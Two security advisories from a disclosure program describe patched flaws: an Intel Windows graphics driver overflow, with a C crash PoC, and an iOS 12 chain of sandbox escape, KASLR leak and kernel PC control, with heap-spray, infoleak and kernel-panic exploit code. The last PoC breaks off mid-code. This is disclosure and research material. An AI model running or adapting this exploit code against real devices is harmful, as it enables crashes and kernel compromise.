SSD Advisory – Intel Windows Graphics Driver Out of Bounds Read Denial of Service

Since 2014, Intel is dominating the PC market as the leading graphics chip vendor worldwide with ~70% market share. With this overwhelming amount of units, any vulnerabilities found are bound to make an impact. Read below on how our team gained system access using an Intel’s graphics driver privilege escalation vulnerability.
System access vulnerabilities and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerabilities Summary
The igdkmd64 module in the Intel Graphics Driver DCH on Windows allows unprivileged users to cause Denial of Service (crash) via a crafted D3DKMTEscape request.
SSD Secure Disclosure / Ori Nimron
Affected Systems
Tested on Intel Graphics Driver DCH: (latest at the time of writing this report).
Testing environment:
OS Name Microsoft Windows 10 Pro.
Version 10.0.17134 Build 17134.
OS Manufacturer Microsoft Corporation.
System Model System Product Name.
System Type x64-based PC.
Processor Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz, 3401 Mhz, 4 Core(s), 8 Logical Processor(s).
Vendor Response
Intel fixed the issue in version of the Intel(R) Graphics Driver. For more information see 2019.2 IPU.
Vulnerability Details
The driver’s callback function DxgkDdiEscape contains an Out-Of-Bound Read that can be triggered by unprivileged users who can trigger the vulnerability by crafting a malicious request to the D3DKMTEscape function.
In DxgkDdiEscape, there is a global variable (which I named as “escape_jmp_table”) which is an array of pointers to functions. The function will choose which function to call based on the value of the third parameter of the privateDriverData value that is controlled by the local user.
The structure of privateDriverData looks something like this:

typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[100];
} privateDriverData;

The DxgkDdiEscape will call to sub_14004FCE0 (which I will name it as ESCAPE_CONTINUE_TO_TABLE). The ESCAPE_CONTINUE_TO_TABLE will load the “escape_jmp_table” and will call the function to which escape_jmp_table[pPrivateDriverData.escape_jmp_table_index] points to.

The vulnerability discovered lies in the function being called by the pointer found by the value of the second index of the escape_jmp_table. This function (sub_140085E70) does a switch case on the fourth parameter of the privateDriverData and decides to which function to call by the value given.
This image shows the various switch case handling this function (sub_140085E70) supports:

In case that the value of the fourth parameter in the structure is 205, the function the sub_140092E80 will be called:

This function allocates a buffer on the stack and calls sub_1400AD9F0 with this buffer, I will name this buffer as local_buf:

The subsequent function sub_1400AD9F0 does a memcpy(pPrivateDriverData.buffer + 0xb, 0x200, localbuf + 0xb, 0x200).
The memcpy is called with a fixed size, no checks on the pPrivateDriverData buffer size, which means that if pPrivateDriverData.buffer length is smaller than 0x200 + 0xb, an overflow will be triggered. This overflow can lead to Escalation of Privileges (by utilizing a null pointer dereference exploitation method) or local Denial of Service.

Proof of Concept
The following PoC calls the D3DKMTEscape function with previously mentioned parameters that will trigger the vulnerable function and the system will crush due to security cookie check failure. The full code is in the Escape directory which contains a visual studio solution:

#define BUF_SIZE 100
static const char* intel = "Intel";
typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[BUF_SIZE];
} PrivateDriverData;
int main()
	int result = 0;
	DRIVER_INFO driverInfo = { 0 };
	D3DKMT_ESCAPE escapeObj = { 0 };
	PrivateDriverData data = { 0 };
	int status = initDriver(&driverInfo, intel);
	if (!NT_SUCCESS(status)) {
		printf("Could not initialize connection to driver");
		return -1;
	printf("[+] Initialized driver\n");
	escapeObj.hAdapter = driverInfo.hAdapter;
	escapeObj.hDevice = (D3DKMT_HANDLE)NULL;
	data.unknown1 = 'AAAA';
	data.unknown2 = 'BBBB';
	data.escape_jmp_table_index = 1;
	data.switchcase_index = 205; // vulnerable case
	memset(data.buffer, 'A', BUF_SIZE);
	escapeObj.pPrivateDriverData = (void*)&data;
	escapeObj.PrivateDriverDataSize = sizeof(data);
	status = D3DKMTEscape(&escapeObj); // Will not return, it will crash the system.
	if (!NT_SUCCESS(status)) {
		printf("[-] D3DKMTEscape failed (%x)", status);
	return 0;

Result in WinDbg:

We can see in the above screenshot that a buffer overflow occurred, and the system crashes.

SSD Advisory – iOS Jailbreak via Sandbox Escape and Kernel R/W leading to RCE

Each year, as part of TyphoonCon; our All Offensive Security Conference, we are offering cash prizes for vulnerabilities and exploitation techniques found. At our latest hacking competition: TyphoonPwn 2019, an independent Security Researcher demonstrated three vulnerabilities to our team which were followed by our live demonstration on stage. The Researcher was awarded an amazing sum of 60,000$ USD for his discovery!
TyphoonCon will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes.
Vulnerability Summary
This post describes a series of vulnerabilities found in iOS 12.3.1, which when chained together allows execution of code in the context of the kernel.
An independent Security Researcher, 08Tc3wBB, has reported this vulnerability to SSD Secure Disclosure program during TyphoonPwn event and was awarded 60,000$ USD for his discovery.
Affected Systems
iOS 12.3.1
Vendor Response
Apple has fixed the vulnerabilities in iOS 13.2. For more information see HT210721 advisory.
Vulnerability Details
While the kernel has a large amount of userland-reachable functionality, much of this attack surface is not accessible due to sandboxing in iOS. By default, an app is only able to access about 10 drivers’ userclients, which is a relatively small amount of code. Therefore, first escaping the app sandbox can be highly beneficial in order to attack the kernel.

Escaping the Sandbox

In contrast to the kernel, many daemons running in userland are accessible via the default app sandbox. One such example is a daemon called MIDIServer ( This daemon allows apps and other services to interface with MIDI hardware which may be connected to the device.
The MIDIServer binary itself is fairly simple. It is a stub binary, and all of it’s functionality is actually stored in a library which is part of the shared cache (CoreMIDI): the main() function of MIDIServer simply calls MIDIServerRun().
CoreMIDI then sets up two sandbox-accessible Mach services, and The former is a typical MIG-based Mach server, which implements 47 methods (as of writing). however, is a custom implementation, used for transferring IO buffers between clients and the server.
Here is the main run thread for the io Mach server:

__int64 MIDIIOThread::Run(MIDIIOThread *this, __int64 a2, __int64 a3, int *a4)
  x0 = XMachServer::CreateServerPort("", 3, this + 140, a4);
  *(this + 36) = x0;
  if ( !*(this + 35) )
    server_port = x0;
    *(this + 137) = 1;
    while ( 1 )
      bufsz = 4;
      if ( XServerMachPort::ReceiveMessage(&server_port, &msg_cmd, &msg_buf, &bufsz) || msg_cmd == 3 )
      ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef(&v10, msg_buf);
      if ( v12 )
        if ( msg_cmd == 1 )
        else if ( msg_cmd == 2 )
      if ( v10 )
        applesauce::experimental::sync::LockFreeHashTable<unsigned int,BaseOpaqueObject *,(applesauce::experimental::sync::LockFreeHashTableOptions)1>::Lookup::~Lookup(&v11);
        LOBYTE(v10) = 0;
    x0 = XServerMachPort::~XServerMachPort(&server_port);
  return x0;

XServerMachPort::ReceiveMessage calls mach_msg with the MACH_RCV_MSG argument, waiting for messages on that port. The message contains a command ID and a length field, followed by the body of the message, which is parsed by the ReceiveMessage call. Three commands are available: command 1 will call ClientProcess::WriteDataAvailable, command 2 will call ClientProcess::EmptiedReadBuffer, and command 3 will exit the Mach server loop. The v12 object passed to the ClientProcess calls is found via ResolvedOpaqueRef. This method will take the 4-byte buffer provided in the message (the ID of the object) and perform a hashtable lookup, returning the object into a structure on the stack (the v12 variable denoted here lies within that structure).
The bug here is particularly nuanced, and lies within the ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef call.
The hashtable this method uses actually contains many different types of objects, not only those of the ClientProcess type. For example, objects created by the API methods MIDIExternalDeviceCreate and MIDIDeviceAddEntity are both stored in this hashtable.
Given the correct type checks are in-place, this would be no issue. However, there are actually two possible ways of accessing this hashtable:


The former, used for example in the _MIDIDeviceAddEntity method, contains the proper type checks:

midi_device = BaseOpaqueObject::ResolveOpaqueRef(&TOpaqueRTTI<MIDIDevice>::sRTTI, device_id);

The latter method, however, does not. This means that by providing the ID of an object of a different type, you can cause a type confusion in one of the ClientProcess calls, where the method is expecting an object of type ClientProcess *.
Let’s follow the call trace for the EmptiedReadBuffer call:

; __int64 MIDIIOThread::Run(MIDIIOThread *this)
BL              __ZN13ClientProcess17EmptiedReadBufferEv ; ClientProcess::EmptiedReadBuffer(x0) // `x0` is potentially type confused
; __int64 ClientProcess::EmptiedReadBuffer(ClientProcess *this)
                STP             X20, X19, [SP,#-0x10+var_10]!
                STP             X29, X30, [SP,#0x10+var_s0]
                ADD             X29, SP, #0x10
                MOV             X19, X0
                ADD             X0, X0, #0x20 ; this
                BL              __ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv ; MIDIIORingBufferWriter::EmptySecondaryQueue(x0)
; bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this)
                STP             X28, X27, [SP,#-0x10+var_50]!
                STP             X26, X25, [SP,#0x50+var_40]
                STP             X24, X23, [SP,#0x50+var_30]
                STP             X22, X21, [SP,#0x50+var_20]
                STP             X20, X19, [SP,#0x50+var_10]
                STP             X29, X30, [SP,#0x50+var_s0]
                ADD             X29, SP, #0x50
                MOV             X21, X0
                MOV             X19, X0 ; x19 = (MIDIIORingBufferWritter *)this
                LDR             X8, [X19,#0x58]!
                LDR             X8, [X8,#0x10]
                MOV             X0, X19
                BLR             X8

As you can see here, the EmptiedReadBuffer code path will effectively immediately dereference a couple of pointers within the type-confused object and branch to an address which can be attacker controlled. The call looks something like this: obj->0x78->0x10(obj->0x20).


In order to exploit this bug we can confuse the ClientProcess type with a MIDIEntity instance. MIDIEntity is of size 0x78, which makes it a perfect target as it means the first dereference that is performed on the object (at 0x78) will be in out of bounds memory. You could then align some controlled data after the MIDIEntity object, however because we are in userland there is a better way.
The MIDIObjectSetDataProperty API call will unserialize CoreFoundation objects into MIDIServer’s heap, so using this call we can spray CFData objects of size 0x90. The exploit then sends two Mach messages containing an OOL memory descriptor, mapped at the static address 0x29f000000 (for some reason it is required to send the message twice, else the memory will not be mapped; I am not sure on the cause of this). This memory is a large continuous CoW mapping which contains the ROP chain used later in exploitation, and importantly a function pointer located at the 0x10 offset to be dereferenced by the EmptySecondaryQueue code.
The following code sets up the CFData objects which are sprayed into MIDIServer’s heap:

  Prepare_bunch_keys(); // For iterating
  size_t spraybufsize = 0x90;
  void *spraybuf = malloc(spraybufsize);
  for(int i=0; i<spraybufsize; i+=0x8){
      *(uint64_t*)(spraybuf + i) = SPRAY_ADDRESS; // The 0x29f000000 address
  CFDataRef spraydata = CFDataCreate(kCFAllocatorDefault, spraybuf, spraybufsize);

And the heap is crafted here:

  // OSStatus MIDIClientCreate(CFStringRef name, MIDINotifyProc notifyProc, void *notifyRefCon, MIDIClientRef *outClient);
  uint32_t mclient_id = 0;
  MIDIClientCreate(CFSTR(""), useless_notify, NULL, &mclient_id);
  printf("MIDI Client ID: 0x%x\n", mclient_id);
  // OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
  uint32_t mdevice_id = 0;
  MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &mdevice_id);
  printf("MIDI Device ID: 0x%x\n", mdevice_id);
  // OSStatus MIDIObjectSetDataProperty(MIDIObjectRef obj, CFStringRef propertyID, CFDataRef data);
  for (int i = 0; i < 300; i++)
      MIDIObjectSetDataProperty(mdevice_id, bunchkeys[i], spraydata); // Each call will unserialize one CFData object of size 0x90
  // Sends 1 OOL descriptor each with the spray memory mapping
  // OSStatus MIDIObjectRemoveProperty(MIDIObjectRef obj, CFStringRef propertyID);
  // Removes every other property we just added
  for (int i = 0; i < 300; i = i + 2)
      MIDIObjectRemoveProperty(mdevice_id, bunchkeys[i]); // Free's the CFData object, popping holes on the heap

At this point we now have 150 CFData allocations and 150 free’d holes of size 0x90, all containing the SPRAY_ADDRESS pointer. The next step is to fill one of these holes with a MIDIEntity object:

  uint32_t mentity_id = 0;
  MIDIDeviceAddEntity(mdevice_id, CFSTR(""), false, 0, 0, &mentity_id);
  printf("mentity_id = 0x%x\n", mentity_id);

If all has gone to plan, we should now have a chunk of memory on the heap where the first 0x78 bytes are filled with the valid MIDIEntity object, and the remaining 0x18 bytes are filled with SPRAY_ADDRESS pointers.
In order to trigger the bug we can call to the Mach server, with the ID of our target MIDIEntity object (mentity_id):

  // Sends msgh_id 0 with cmd 2 and datalen 4 (ClientProcess::EmptiedReadBuffer)

This will kick off the ROP chain on the Mach server thread in the MIDIServer process.
A simple failure check is then used, based on whether the ID of a new object is continuous to the object ID’s seen before triggering the bug:

  // OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
  uint32_t verifysucc_mdevice_id = 0;
  MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &verifysucc_mdevice_id);
  printf("verify_mdevice_id: 0x%x\n", verifysucc_mdevice_id);
  if (verifysucc_mdevice_id == mdevice_id + 2)
  // We failed, reattempting...
  printf("Try again\n");

If the object ID’s are not continuous, it means exploitation failed (ie. the daemon crashed), so the daemon is restarted via the MIDIRestart call and exploitation can be re-attempted.
I won’t cover in detail how the ROP chain works, however the basic idea is to call objc_release on a buffer within the SPRAY_ADDRESS memory mapping, with a fake Objective-C object crafted at this address, on which the release method will be executed. A chain-calling primitive is then set up, with the target goal of opening 3 userclients, and hanging in a mach_msg_receive call to later overwrite some memory via vm_read_overwrite when a message is received — this is utilized later in kernel exploitation.
It is to note that for this ROP-based exploitation methodology a PAC bypass would be required on A12 and newer processors (or ideally, a different exploitation methodology).
The userclients fetched from MIDIServer are AppleSPUProfileDriver, IOSurfaceRoot, and AppleAVE2Driver.

(Ab)using AppleSPUProfileDriver: Kernel ASLR Defeat

Via MIDIServer we are able to access the AppleSPUProfileDriver userclient. This userclient implements 12 methods, however we are only interested in the last: AppleSPUProfileDriverUserClient::extSignalBreak. Let’s take a look at the pseudocode to get a rough idea of what’s happening:

__int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
  __int64 dataQueueLock; // x19
  unsigned __int64 v8; // x0
  __int64 result; // x0
  int v10; // [xsp+8h] [xbp-48h]
  int v11; // [xsp+Ch] [xbp-44h]
  __int64 v12; // [xsp+10h] [xbp-40h]
  __int64 v13; // [xsp+38h] [xbp-18h]
  dataQueueLock = this->dataQueueLock;
  if ( this->dataQueue )
    v10 = 0;
    abs_time = mach_absolute_time();
    v12 = AppleSPUProfileDriver::absolutetime_to_sputime(this, abs_time);
    v11 = OSIncrementAtomic(&this->atomicCount);
    (*(*this->dataQueue + 0x88∂LL))();           // IOSharedDataQueue::enqueue(&v10, 0x30)
  result = IORecursiveLockUnlock(dataQueueLock);
  return result;

The function is fairly simple: it will take a lock, write some data to a buffer stored on the stack, and call IOSharedDataQueue::enqueue to submit that data to the queue, with a buffer size of 0x30. The way the stack is accessed here is not particularly clear, so let us instead look at the relevant parts of the disassembly:

; __int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
var_48          = -0x48
var_44          = -0x44
var_40          = -0x40
var_18          = -0x18
var_10          = -0x10
var_s0          =  0
                SUB             SP, SP, #0x60
                STP             X20, X19, [SP,#0x50+var_10]
                STP             X29, X30, [SP,#0x50+var_s0]
                ADD             X29, SP, #0x50
                MOV             X20, X0
                ADRP            X8, #___stack_chk_guard@PAGE
                LDR             X8, [X8,#___stack_chk_guard@PAGEOFF]
                STUR            X8, [X29,#var_18]
                LDR             X19, [X0,#0x30B8]
                MOV             X0, X19
                BL              _IORecursiveLockLock
                LDR             X8, [X20,#0x90]
                CBZ             X8, branch_exit_stub
                STR             WZR, [SP,#0x50+var_48]
                BL              _mach_absolute_time
                MOV             X1, X0  ; unsigned __int64
                MOV             X0, X20 ; this
                BL              __ZN21AppleSPUProfileDriver23absolutetime_to_sputimeEy ; AppleSPUProfileDriver::absolutetime_to_sputime(ulong long)
                STR             X0, [SP,#0x50+var_40]
                MOV             W8, #0x30CC
                ADD             X0, X20, X8
                BL              _OSIncrementAtomic
                STR             W0, [SP,#0x50+var_44]
                LDR             X0, [X20,#0x90]
                LDR             X8, [X0]
                LDRAA           X9, [X8,#0x90]!
                MOVK            X8, #0x911C,LSL#48
                ADD             X1, SP, #0x50+var_48
                MOV             W2, #0x30
                BLRAA           X9, X8                        // Call to IOSharedDataQueue::enqueue
branch_exit_stub                    ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+38
                MOV             X0, X19 ; lock
                BL              _IORecursiveLockUnlock
                LDUR            X8, [X29,#var_18]
                ADRP            X9, #___stack_chk_guard@PAGE
                LDR             X9, [X9,#___stack_chk_guard@PAGEOFF]
                CMP             X9, X8
                B.NE            branch_stack_chk_fail
                MOV             W0, #0
                LDP             X29, X30, [SP,#0x50+var_s0]
                LDP             X20, X19, [SP,#0x50+var_10]
                ADD             SP, SP, #0x60
; ---------------------------------------------------------------------------
branch_stack_chk_fail                    ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+9C
                BL              ___stack_chk_fail

We can see here that the 32-bit value zero is stored to var_48, the result of the OSIncrementAtomic call is stored to var_44, and the absolutetime_to_sputime return value is stored to var_40. However, remember that the size 0x30 is provided to the IOSharedDataQueue::enqueue call? This means that any uninitialized stack data will be leaked into the shared dataqueue! So while this dataqueue may contain leaked data, there are no security implications unless we are able to access this data. However, IOSharedDataQueue’s are signed to be exactly that — shared. Let’s take a look at AppleSPUProfileDriverUserClient::clientMemoryForType:

__int64 AppleSPUProfileDriverUserClient::clientMemoryForType(AppleSPUProfileDriverUserClient *this, int type, unsigned int *options, IOMemoryDescriptor **memory)
  ret = 0xE00002C2LL;
  if ( !type )
    memDesc = AppleSPUProfileDriver::copyBuffer(this->provider);
    *memory = memDesc;
    if ( memDesc )
      ret = 0LL;
      ret = 0xE00002D8LL;
  return ret;
__int64 AppleSPUProfileDriver::copyBuffer(AppleSPUProfileDriver *this)
  dataQueueLock = this->dataQueueLock;
  memDesc = this->queueMemDesc;
  if ( memDesc )
    (*(*memDesc + 0x20LL))();                   // OSObject::retain
    buf = this->queueMemDesc;
    buf = 0LL;
  return buf;

So via IOConnectMapMemory64 we can map in the memory descriptor for this IOSharedDataQueue, which contains any data enqueue’d to it, including our leaked stack data! To finalize our understanding of this bug, let’s look at an example of leaked data from the queue:

30 00 00 00
00 00 00 00 78 00 00 80
c0 5a 0c 03 00 00 00 00
00 f0 42 00 e0 ff ff ff
50 b4 d8 3b e0 ff ff ff
80 43 03 11 f0 ff ff ff
00 00 00 00 00 00 00 00

The first dword you can see is the size field of the IODataQueueEntry struct (0x30 in this case), which precedes every chunk of data in the queue:

typedef struct _IODataQueueEntry{
    UInt32  size;
    UInt8   data[4];
} IODataQueueEntry;

Then we see the dword which is explicitly written to zero, the return value of the OSIncrementAtomic call (0x78), and the absolutetime_to_sputime value in the 3rd row. This data is then followed by 3 kernel pointers which are leaked off the stack. Specifically, we are interested in the 3rd pointer (0xfffffff011034380). From my testing (iPhone 8, iOS 12.4), this will always point into kernel’s __TEXT region, so by calculating the unslid pointer we are able to deduce the kernel’s slide. The full exploit for this infoleak can be seen below (some global variable definitions may be missing):

uint64_t check_memmap_for_kaslr(io_connect_t ioconn)
    kern_return_t ret;
    mach_vm_address_t map_addr = 0;
    mach_vm_size_t map_size = 0;
    ret = IOConnectMapMemory64(ioconn, 0, mach_task_self(), &map_addr, &map_size, kIOMapAnywhere);
    if (ret != KERN_SUCCESS)
        printf("IOConnectMapMemory64 failed: %x %s\n", ret, mach_error_string(ret));
        return 0x0;
    uint32_t search_val = 0xfffffff0; // Constant value of Kernel code segment higher 32bit addr
    uint64_t start_addr = map_addr;
    size_t search_size = map_size;
    while ((start_addr = (uint64_t)memmem((const void *)start_addr, search_size, &search_val, sizeof(search_val))))
        uint64_t tmpcalc = *(uint64_t *)(start_addr - 4) - INFOLEAK_ADDR;
        // kaslr offset always be 0x1000 aligned
        if ((tmpcalc & 0xFFF) == 0x0)
            return tmpcalc;
        start_addr += sizeof(search_val);
        search_size = (uint64_t)map_addr + search_size - start_addr;
    return 0x0;
mach_vm_offset_t get_kaslr(io_connect_t ioconn)
    uint64_t scalarInput = 1;
    // Allocte a new IOSharedDataQueue
    // AppleSPUProfileDriverUserClient::extSetEnabledMethod
    IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
    int kaslr_iter = 0;
    while (!kaslr)
        // AppleSPUProfileDriverUserClient::extSignalBreak
        // Enqueues a data item of size 0x30, leaking 0x18 bytes off the stack
        IOConnectCallStructMethod(ioconn, 11, NULL, 0, NULL, NULL);
        // Map the IOSharedDataQueue and look for the leaked ptr
        kaslr = check_memmap_for_kaslr(ioconn);
        if (kaslr_iter++ % 5 == 0)
            scalarInput = 0;
            // AppleSPUProfileDriverUserClient::extSetEnabledMethod
            IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
            scalarInput = 1;
            // AppleSPUProfileDriverUserClient::extSetEnabledMethod
            IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
    scalarInput = 0;
    // AppleSPUProfileDriverUserClient::extSetEnabledMethod
    IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL); // Shutdown
    return kaslr;
Going for Gold: Attacking the Kernel

The final vulnerability in this chain is a missing bounds check in AppleAVE2Driver. AppleAVE2 is a graphics driver in iOS, and in our case is accessible via the MIDIServer sandbox escape. The userclient exposes 24 methods, and this bug exists within the method at index 7; _SetSessionSettings. This method takes an input buffer of size 0x108, and loads many IOSurfaces from ID’s provided in the input buffer via the AppleAVE2Driver::GetIOSurfaceFromCSID method, before finally calling AppleAVE2Driver::Enqueue. Specifically, the method will load a surface by the name of InitInfoSurfaceId or InitInfoBufferr:

  if ( !structIn->InitInfoSurfaceId )
    goto err;
  initInfoSurfaceId = structIn->InitInfoSurfaceId;
  if ( initInfoSurfaceId )
    initInfoBuffer = AppleAVE2Driver::GetIOSurfaceFromCSID(this->provider, initInfoSurfaceId, this->task);
    this->InitInfoBuffer = initInfoBuffer;
    if ( initInfoBuffer )
      goto LABEL_13;
    goto err;

The AppleAVE2Driver::Enqueue method will then create an IOSurfaceBufferMngr instance on this IOSurface:

  bufferMgr = operator new(0x70uLL);
  if ( !IOSurfaceBufferMngr::IOSurfaceBufferMngr(bufferMgr, 0LL, this) )
    goto LABEL_23;
  if ( IOSurfaceBufferMngr::CreateBufferFromIOSurface(
         0x1F4u) )
    err = 0xE00002BDLL;
    v28 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(bufferMgr);
    operator delete(v28);
    return err;
  if ( bufferMgr->size < 0x25DD0 )
    err = 0xE00002BCLL;
    goto LABEL_27;
  buffMgrKernAddr = bufferMgr->kernelAddress;
  if ( !buffMgrKernAddr )
    goto LABEL_20;

Bearing in mind the data within this buffer (now mapped at buffMgrKernAddr) is userland-controlled, the method will proceed to copy large chunks of data out of the buffer into an AVEClient * object, which I have named currentClient:

  currentClient->unsigned2400 = *(buffMgrKernAddr + 2008);
  memmove(&currentClient->unsigned2404, buffMgrKernAddr + 2012, 0x2BE4LL);
  currentClient->oword5018 = *(buffMgrKernAddr + 13296);
  currentClient->oword5008 = *(buffMgrKernAddr + 13280);
  currentClient->oword4FF8 = *(buffMgrKernAddr + 13264);
  currentClient->oword4FE8 = *(buffMgrKernAddr + 13248);
  currentClient->oword5058 = *(buffMgrKernAddr + 13360);
  currentClient->memoryInfoCnt2 = *(buffMgrKernAddr + 0x3420);
  currentClient->oword5038 = *(buffMgrKernAddr + 13328);
  currentClient->oword5028 = *(buffMgrKernAddr + 13312);
  currentClient->oword5098 = *(buffMgrKernAddr + 13424);
  currentClient->oword5088 = *(buffMgrKernAddr + 13408);
  currentClient->oword5078 = *(buffMgrKernAddr + 13392);
  currentClient->oword5068 = *(buffMgrKernAddr + 13376);
  currentClient->oword50C8 = *(buffMgrKernAddr + 13472);
  currentClient->oword50B8 = *(buffMgrKernAddr + 13456);
  currentClient->oword50A8 = *(buffMgrKernAddr + 13440);
  currentClient->qword50D8 = *(buffMgrKernAddr + 13488);
  memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);
  memmove(&currentClient->gap1C8C[0x5CC], buffMgrKernAddr + 1584, 0x1A8LL);

When closing an AppleAVE2Driver userclient via AppleAVE2DriverUserClient::_my_close, the code will call a function named AppleAVE2Driver::AVE_DestroyContext on the AVEClient object associated with that userclient. AVE_DestroyContext calls AppleAVE2Driver::DeleteMemoryInfo on many MEMORY_INFO structures located within the AVEClient, and as the penultimate step calls this function on an array of MEMORY_INFO structures in the client, the quantity of which is denoted by the memoryInfoCnt{1,2} fields:

  v73 = currentClient->memoryInfoCnt1 + 2;
  if ( v73 <= currentClient->memoryInfoCnt2 )
    v73 = currentClient->memoryInfoCnt2;
  if ( v73 )
    iter1 = 0LL;
    statsMapBufArr = currentClient->statsMapBufferArray;
      AppleAVE2Driver::DeleteMemoryInfo(this, statsMapBufArr);
      loopMax = currentClient->memoryInfoCnt1 + 2;
      cnt2 = currentClient->memoryInfoCnt2;
      if ( loopMax <= cnt2 )
        loopMax = cnt2;
        loopMax = loopMax;
      statsMapBufArr += 0x28LL;
    while ( iter1 < loopMax );

In _SetSessionSettings, there are bounds checks on the value of memoryInfoCnt1:

  if ( currentClient->memoryInfoCnt1 >= 4u )
    ret = 0xE00002BCLL;
    return ret;

However no such bounds checks on the value of memoryInfoCnt2. This missing check, combined with the following piece of logic in the while loop, means that the loop will access and call DeleteMemoryInfo on out-of-bounds data, provided a high enough value is provided as memoryInfoCnt2:

  loopMax = currentClient->memoryInfoCnt1 + 2;  // Take memoryInfoCnt1 (max 4), loopMax is <=6
  cnt2 = currentClient->memoryInfoCnt2;         // Take memoyInfoCnt2
  if ( loopMax <= cnt2 )                        // if cnt2 is larger than loopMax...
    loopMax = cnt2;                             // update loopMax to the value of memoryInfoCnt2
    loopMax = loopMax;                          // else, no change

By default, there are 5 MEMORY_INFO structures within the statsMapBufferArray. With each entry being of size 0x28, the array consumes 0xc8 (dec: 200) bytes. Becuase this array is inlined within the AVEClient * object, when we trigger the out-of-bounds bug the next DeleteMemoryInfo call will use whatever data may follow the statsMapBufferArray. On my iPhone 8’s 12.4 kernel, this array lies at offset 0x1b60, meaning the 6th entry (the first out-of-bounds entry) will be at offset 0x1c28.
Now, remember how in _SetSessionSettings large chunks of data are copied from a user-controlled buffer into the AVEClient object? It just so happens that one of these controlled buffers lies directly after the statsMapBufferArray field!

  00000000 AVEClient       struc ; (sizeof=0x29AC8, align=0x8, mappedto_215)
  00001B60 statsMapBufferArray DCB 200 dup(?)
  00001C28 sessionSettings_block1 DCB ?
  // Copies from the IOSurface buffer to a buffer adjacent to the statsMapBufferArray
  memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);

So by providing crafted data in the IOSurface buffer copied into the AVEClient, we can have full control over the out-of-bounds array entries.

Taking (PC) Control

Now let’s look at the AppleAVE2Driver::DeleteMemoryInfo function itself, bearing in mind we have full control over the memInfo object:

__int64 AppleAVE2Driver::DeleteMemoryInfo(AppleAVE2Driver *this, IOSurfaceBufferMngr **memInfo)
  if ( memInfo )
    if ( *memInfo )
      v8 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(*memInfo);
      operator delete(v8);
    memset(memInfo, 0, 0x28uLL);
    result = 0LL;
    result = 0xE00002BCLL;
  return result;

The IOSurfaceBufferMngr destructor wraps directly around a static IOSurfaceBufferMngr::RemoveBuffer call:

IOSurfaceBufferMngr *IOSurfaceBufferMngr::~IOSurfaceBufferMngr(IOSurfaceBufferMngr *this)
  return this;

RemoveBuffer then calls IOSurfaceBufferMngr::CompleteFence, which in this case is best viewed as assembly:

IOSurfaceBufferMngr::CompleteFence(IOSurfaceBufferMngr *this)
                STP             X20, X19, [SP,#-0x10+var_10]!
                STP             X29, X30, [SP,#0x10+var_s0]
                ADD             X29, SP, #0x10
                MOV             X19, X0                         // x19 = x0 (controlled pointer)
                LDR             X0, [X0,#0x58]                  // Loads x0->0x58
                CBZ             X0, exit_stub                   // Exits if the value is zero
                LDRB            W8, [X19,#0x1E]                 // Loads some byte at x19->0x1e
                CBNZ            W8, exit_stub                   // Exits if the byte is non-zero
                MOV             W1, #0
                BL              IOFence::complete
                LDR             X0, [X19,#0x58]                 // Loads x19->0x58
                LDR             X8, [X0]                        // Loads x0->0x0
                LDR             X8, [X8,#0x28]                  // Loads function pointer x8->0x28
                BLR             X8                              // Branches to fptr, giving arbitrary PC control
                STR             XZR, [X19,#0x58]
                LDP             X29, X30, [SP,#0x10+var_s0]
                LDP             X20, X19, [SP+0x10+var_10],#0x20

In essence, by crafting a userland-shared buffer you can trigger an out-of-bounds access, which will almost directly give arbitrary PC control upon closing the userclient.
Here’s a PoC for this bug, it will panic the device with a dereference to the address 0x4141414142424242:

void kernel_bug_poc(io_connect_t ioconn, io_connect_t surface_ioconn)
    kern_return_t ret;
        char open_inputStruct[0x8] = { 0 };
        char open_outputStruct[0x4] = { 0 };
        size_t open_outputStruct_size = sizeof(open_outputStruct);
        // AppleAVE2UserClient::_my_open
        ret = IOConnectCallStructMethod(ioconn,
        NSLog(@"my_open: %x %s", ret, mach_error_string(ret));
    // Create an IOSurface using the IOSurface client owned by MIDIServer
    // Address & size of the shared mapping created by IOSurface and
    // returned in the output struct at offsets 0x0 and 0x1c respectively
    uint64_t surface_map_addr = 0x0;
    uint32_t surface_map_size = 0x0;
    uint32_t surface_id = IOSurfaceRootUserClient_CreateSurface(surface_ioconn, &surface_map_addr, &surface_map_size);
    NSLog(@"Got Surface ID: %d", surface_id);
    uintptr_t surface_data = malloc(surface_map_size);
    bzero((void *)surface_data, surface_map_size);
    *(uint64_t *)(surface_data + 0x0) = 0x4141414142424242;     // First pointer to memory containing function pointer
                                                                // This field is the start of the block adjacent to the stats array
